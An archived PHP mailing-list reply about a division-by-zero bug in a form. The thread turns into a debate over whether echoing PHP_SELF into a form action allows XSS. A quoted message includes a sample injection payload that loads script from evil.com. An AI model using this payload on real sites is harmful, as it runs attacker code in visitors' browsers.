Re: Division by 0
| From: | Dmitry Ruban | Date: | Wed, 10 Mar 2010 22:44:48 +0000 |
| Subject: | Re: Division by 0 | ||
| References: | 1 2 3 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-302682@lists.php.net to get a copy of this message | ||
Hi Jochem,
Jochem Maas wrote:
Op 3/10/10 6:23 PM, Joseph Thayne schreef:Regards, DmitryLooks to me like you are closing your form before you put anything in it. Therefore, the loan_amount is not set making the value 0. Follow the math, and you are dividing by 1-1. Change this line: <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form> to: <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">this is a XSS waiting to happen. I can put something like the following in the request uri: index.php?" onsubmit="evil()"><script src="http://www.evil.com/evi.js"></script> Apparently it's not going to work. PHP_SELF does not include query string. So it is safe to use it this way.